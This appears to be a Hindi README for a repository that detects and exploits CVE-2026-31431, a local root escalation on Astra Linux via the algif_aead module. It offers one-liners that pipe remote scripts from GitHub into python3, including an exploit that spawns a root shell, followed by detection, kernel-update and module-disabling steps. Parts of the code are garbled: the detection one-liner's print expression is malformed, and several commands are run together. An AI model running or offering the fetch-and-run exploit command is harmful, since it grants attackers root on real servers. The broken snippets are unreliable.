
# CVE-2026-31431 (Copy Fail) का पता लगाना और शोषण Astra Linux पर स्थानीय विशेषाधिकार वृद्धि (local privilege escalation) का पता लगाता है और उसका शोषण करता है, जिसमें Python 3.7+ संगतता और एक-लाइनर तैनाती शामिल है।
शोषण (exploitation) के बिना सुरक्षित जाँच:
curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/detect.py | python3
शोषण (जब पूछा जाए तो उपयोगकर्ता का पासवर्ड दर्ज करना होगा)
python3 -c "$(curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/exp.py)" --shell
यह Python 3.7, 3.8, 3.9, 3.10, 3.11 के लिए अनुकूलित एक फोर्क है।
मूल एक्सप्लॉइट्स को os.splice() के उपयोग के कारण Python 3.12+ की आवश्यकता होती है।
# ❌ मूल एक्सप्लॉइट (केवल Python 3.12+)
os.splice(fd_in, fd_out, length, offset_src=offset)
# AttributeError: module 'os' has no attribute 'splice'
os.splice() पर निर्भरता हटाई गई###Astra Linux पर शोषण
यह भेद्यता Astra Linux पर सत्यापित की गई है। मॉड्यूल algif_aead मौजूद है, शोषण sudo तक पहुँच प्राप्त करने और root तक विशेषाधिकार बढ़ाने की अनुमति देता है।
हालाँकि, जब अनिवार्य अभिगम नियंत्रण (МКД/Parsec) सक्षम होता है, तो सुपरएडमिनिस्ट्रेटर (स्तर 63 / भूमिका astra-admin) बनना संभव नहीं है: अनिवार्य लेबल root प्रक्रिया के विशेषाधिकारों को भी सीमित करते हैं, और सुरक्षा नीति स्थापित गोपनीयता स्तरों को पार करने की अनुमति नहीं देती है।
इस प्रकार: 🔴 МКД के बिना या МКД बंद होने वाली Astra Linux प्रणालियाँ — पूरी तरह से असुरक्षित हैं। 🟡 МКД सक्षम होने वाली प्रणालियाँ — आंशिक रूप से सुरक्षित हैं: root प्राप्त करना संभव है, लेकिन हमलावर की वास्तविक क्षमताएँ अनिवार्य नीति द्वारा सीमित हैं।
दोनों ही मामलों में, भेद्यता का पता चलने पर बिंदु 2 या 3 के उपायों को लागू करना अनिवार्य है।
━━━━━━━━━━━━━━━
प्रत्येक सर्वर पर निम्नलिखित कमांड निष्पादित करना आवश्यक है। यह सिस्टम में कोई परिवर्तन नहीं करती है और केवल यह जाँचती है कि असुरक्षित मॉड्यूल उपलब्ध है या नहीं।
सर्वर से कनेक्ट करें और एक पंक्ति में निष्पादित करें:
python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("\n" + "*"30 + "\n** УЯЗВИМА **\n" + ""*30)'
🔴 यदि स्क्रीन पर УЯЗВИМА शब्द दिखाई देता है — सर्वर भेद्यता के प्रति संवेदनशील है, बिंदु 2 पर जाना आवश्यक है। 🟢 यदि Python त्रुटि संदेश दिखाई देता है — सर्वर भेद्यता के प्रति संवेदनशील नहीं है, आगे की कार्रवाई की आवश्यकता नहीं है।
━━━━━━━━━━━━━━━ 2. मुख्य समाधान — कर्नेल अद्यतन
कर्नेल को उस संस्करण में अद्यतन करना आवश्यक है जिसमें सुधार शामिल है: 6.18.22, 6.19.12 या नया। अद्यतन होने तक, बिंदु 3 से मॉड्यूल को अक्षम करना सुरक्षा प्रदान करता है।
Debian / Ubuntu / Astra Linux के लिए:
apt-get update apt-get dist-upgrade reboot
रीबूट के बाद यह जाँचना अनिवार्य है कि वास्तव में नया कर्नेल लोड हुआ है:
uname -r
यदि कमांड 6.18.22 से नीचे का संस्करण दिखाती है — कर्नेल अद्यतन नहीं हुआ है या सिस्टम पुरानी छवि से बूट हुई है। इस मामले में यह सुनिश्चित करना आवश्यक है कि अद्यतन स्थापित हो गया था (apt-get dist-upgrade ने कोई त्रुटि नहीं दी) और रीबूट दोहराएँ।
⚠️ Astra Linux 1.7.x: अद्यतन जारी होने तक सुरक्षा का एकमात्र उपाय बिंदु 3 से मॉड्यूल को अक्षम करना है। पैच प्राप्त करने के लिए, व्यक्तिगत खाते के माध्यम से Astra Linux तकनीकी सहायता से संपर्क करने की अनुशंसा की जाती है।
━━━━━━━━━━━━━━━ 3. अस्थायी सुरक्षा उपाय — असुरक्षित मॉड्यूल को अक्षम करना
यदि कर्नेल अद्यतन इस समय संभव नहीं है, तो अस्थायी उपाय के रूप में असुरक्षित मॉड्यूल को अक्षम करने की अनुशंसा की जाती है। यह ऑपरेशन रीबूट की आवश्यकता नहीं रखता और तुरंत प्रभावी होता है। लागू करने से पहले परीक्षण वातावरण में परिवर्तनों की जाँच करने की अनुशंसा की जाती है: दुर्लभ मामलों में, कुछ सेवाएँ इस मॉड्यूल का सीधे उपयोग कर सकती हैं।
मॉड्यूल को अक्षम करने का कमांड। root के रूप में (या sudo के माध्यम से) निष्पादित करें:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
पहला कमांड अगले बूट पर मॉड्यूल की लोडिंग को प्रतिबंधित करता है। दूसरा इसे अभी अनलोड करता है, यदि यह लोड है। दूसरे कमांड में त्रुटि सामान्य है, इसका मतलब है कि मॉड्यूल पहले से सक्रिय नहीं था।